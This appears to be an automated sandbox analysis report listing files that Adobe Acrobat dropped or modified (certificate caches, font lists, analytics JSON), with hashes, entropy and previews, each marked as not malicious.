Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7126816513205103
Encrypted:	false
SSDEEP:	3:kkFkl2MlzllltfllXlE/HT8k/KNNX8RolJuRdxLlGB9lQRYwpDdt:kKvkJlleT8QaNMa8RdWBwRd
MD5:	1F4B562F91623CDAFC593E2E07084DE8
SHA1:	6BEC7CBBCE68E0D0A1533E0321D48A9C9412EC65
SHA-256:	AE4CE93C5CF82113396E22755B6D48A8BC0FF8542F8DFA3A4C7246DC1B661738
SHA-512:	2E042A549629442BC4E8B56D5254C86FDF0D3543950DCB10BAA56E7E1A02AC63C2BDCE3BAAA9C10F3B8289A633F8A9B110124972EA9362166D6107A5BEE21068
Malicious:	false
Preview:	p...... .........~^..d..(....................................................... ..........W.....M..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.201739088138644
Encrypted:	false
SSDEEP:	6:kKpb3llL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Rb3aDImsLNkPlE99SNxAhUe/3
MD5:	952E3C75DEE52040519A23FE6C4E9629
SHA1:	CA205A136EBE8C15EC54C6473E7E325450E14140
SHA-256:	2027DBE5D7C27467C1D530DB355F5D8EA15C4F38FE5D5AEE868972B52EF9E42E
SHA-512:	98D1BC66D6DD6CCA7472287B1143ED7227EE971A8AB78FCD5456866299BD8181E8B98CBAD8F987C0C5C9411131219281CA44FFE4749194C617D68AE3D6FA1F97
Malicious:	false
Preview:	p...... ........l.%.d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.334663840165534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJM3g98kUwPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGMbLUkee9
MD5:	48C8630179606512586125816A63AFA9
SHA1:	80569275C2C9A477F34DA2DAFEBA85BC761EFB1C
SHA-256:	EB1D88317AD64C777FAFFEA74A3DF120752B60902969502B39FDE30996E71E05
SHA-512:	93B8800351731F733F8A0E238EFCAA437FDCA61B703715FB6D35827EC3C05EC32785C4657FF13D13A92B2E6D4B7946BCB48B30B980935406F55E23C0C9BE72FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2690577394668034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfBoTfXpnrPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGWTfXcUkee9
MD5:	4A83B331D0D13187F5B6D947734229FE
SHA1:	E745AE0F19DDDF488D331F300E40E52D021D5F47
SHA-256:	E83F8FCA267F6D6AFE1BB8BA5D10D7FE6B7723E10E09082CEB2EC83CFE7F06C6
SHA-512:	B0BBB2C1FF1EEC5432480499C9F18A01AD0844412C7BD5AF158BF7CA3DA50B7885B1AF9E90BC410EF94880B352BDEAF98A80DB24C5515084323FED8EA7F6150D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247469412731665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfBD2G6UpnrPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGR22cUkee9
MD5:	D2534D41605AA9860F59024089EB0B8A
SHA1:	70906D16AC8C1533ECA062F941D9A27B6361F177
SHA-256:	5345227CDA796FC8156D6C8CE1B531F8CFA60DC3C1FE4CAA555DB78126309413
SHA-512:	9A60DD84F82DD6095B16080E75D9BBE9F45131765443384D42715E665D383D8F09F9A11E36A9AF66D18FFC07E079620191CE3C9B229445AB80F699A8586B98FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.310605385091473
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfPmwrPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGH56Ukee9
MD5:	2339AF851DA6B8B051A3A203FF4A9B4D
SHA1:	829286EAFA062EB6101D71F8B55B9CAB2FE3DFD4
SHA-256:	623E1DB5613B979F1F029C4F145D0613A7FC18BCF91335D83ACD46368CE24207
SHA-512:	2FE3F7638F9FB2CB534F582F7965C1BC5796F12B2BDB4C36C35D2114D1F8D2B575157EBEE4B7E3AE9B2AF1D94B05AFB0BA49A7E792F978153AA370F94090FEA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690447454049029
Encrypted:	false
SSDEEP:	24:Yv6XbV46YJhOrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSrH:YvMV46YJhChgy6SAFv5Ah8cv/r
MD5:	BFAE673459C434FF121873F592FF918E
SHA1:	78EAB6CA74BECA244F23DCCEF3C77DBF8ED92BFD
SHA-256:	8C121800A323BE5C3EFFBFDEF894A1B94C3D83D5F6F4FFBF14062E0554A102DA
SHA-512:	DCD0DF7409C2BD70013CFFCD6F37FF683D10AF57C0A36A4B34985BBA255C9B2C592A2EEC3DC7FEF99443A551F4D7F07303BFA0CD77BCAEAF3A29DF0CFEEB29B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260563332414678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJf8dPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGU8Ukee9
MD5:	6DA4CF11C44A4C2A7E73FB1D670FF73B
SHA1:	04208468CCB7349B08EDE8B2D5F9A494141056AC
SHA-256:	170AD4E2D0AA68326C7F2C0180B1053DAD23E31E98BA2699A81DBDDFC890BBD8
SHA-512:	FA769F9C070D54D4081E9B1487DE4CF8077A714EF53C385941F0FB703756EC52DCFB2A867A74A7658C3AD22E477EE8592D7A38BAF763D27EB1D1913637572888
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258773047793039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfQ1rPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGY16Ukee9
MD5:	D40B775487FC6DFB30319FB2A4BC2DA0
SHA1:	BCBD806A680A00D194D1050F0D78EBF4336DDD06
SHA-256:	5FEBC5D5E6B259379D2987DF8BFAF141489DDCCA9894A1C12E363D272880C18F
SHA-512:	01CDFE8D43E4EB418FA41CB76C93A24524395993567CE616A499E20CDAD8932AA123D6C2328770AA90281CD463988FF8B042079686D032C107FAF5BEFB520694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277751868594261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfFldPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGz8Ukee9
MD5:	96F150DD4217DE2EE11EA516A0920C12
SHA1:	57A30F78ECCDEB1F75A27C8502CEAF265D619487
SHA-256:	BB222D4CA56A8A812229A4AC052D711910ECBC6AFF16A108CF3C4E3F418E7F76
SHA-512:	4F9F32D8DA860357E8C977A6BFABC437374F2B91F646DE59DAB9726D5106545EAABCEA81947D95F9A1D3FA9D6098F610BAFC379E2FA088D5A97F15858B510996
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.28984629983758
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfzdPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGb8Ukee9
MD5:	43C1084E7A53B180FD088F5784368DB6
SHA1:	C088CCFF57C4AB5AE4958263B661DA22AD6CDADE
SHA-256:	292E4E5DED3C37B208C87A8C60CC02926A277FA723A9701B5126FDFF3A731855
SHA-512:	2B7D161BFEF6273CC9828ACAD577379E2CC71F57D4346EB0B7666CB3C8F78C9A836C6EEFEE663A75AAB2419640313019792C106F5E89E0D7578627E1E5F7E686
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269583408182423
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfYdPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGg8Ukee9
MD5:	EF4B7D1737FDFC13F54E5C7BD35FD8B3
SHA1:	66D1152D000CD959FD68AFD51ADD2C9254F16E3F
SHA-256:	7D975156F9136991AC97B86EF04AFBB4F83FBFFA2F0695FA3EC780C4050F328E
